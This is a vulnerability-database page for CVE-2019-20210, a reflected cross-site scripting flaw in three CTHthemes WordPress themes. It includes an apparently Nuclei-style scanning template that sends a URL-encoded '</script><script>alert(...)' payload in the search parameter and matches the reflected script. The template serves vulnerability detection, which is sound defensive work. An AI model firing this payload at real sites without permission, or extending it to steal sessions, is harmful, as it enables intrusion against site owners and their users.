CVE-2019-20210: WordPress CTHthemes - Cross-Site Scripting

2025-08-01 WordPress CTHthemes PoC Public

Description

WordPress CTHthemes CityBook before 2.3.4, TownHub before 1.0.6, and EasyBook before 1.2.2 themes contain reflected cross-site scripting vulnerabilities via a search query.

PoC

id: CVE-2019-20210

info:
  name: WordPress CTHthemes - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    WordPress CTHthemes CityBook before 2.3.4, TownHub before 1.0.6, and EasyBook before 1.2.2 themes contain reflected cross-site scripting vulnerabilities via a search query.
  impact: |
    Successful exploitation of this vulnerability can lead to session hijacking, defacement of the website, theft of sensitive information, or the installation of malware on the victim's system.
  remediation: |
    Update to the latest version of the WordPress CTHthemes plugin, which includes a fix for this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/10013
    - https://wpvulndb.com/vulnerabilities/10018
    - https://cxsecurity.com/issue/WLB-2019120112
    - https://nvd.nist.gov/vuln/detail/CVE-2019-20210
    - https://themeforest.net/item/citybook-directory-listing-wordpress-theme/21694727
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-20210
    cwe-id: CWE-79
    epss-score: 0.03243
    epss-percentile: 0.87926
    cpe: cpe:2.3:a:cththemes:citybook:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: cththemes
    product: citybook
    framework: wordpress
  tags: cve,cve2019,wp-theme,wpscan,wordpress,citybook,xss,cththemes,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?search_term=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&location_search=&nearby=off&address_lat=&address_lng=&distance=10&lcats%5B%5D="

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"
          - "/wp-content/themes/citybook"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a00463044022059a253905cd6e7bb0e4247e7be2edf399a138f3fa5f331c4e66dbf7acaa9f5c002206e3c8072fecf9467d3a584004533cb62652c3b4609308e9c8e0ce743e1f1238c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities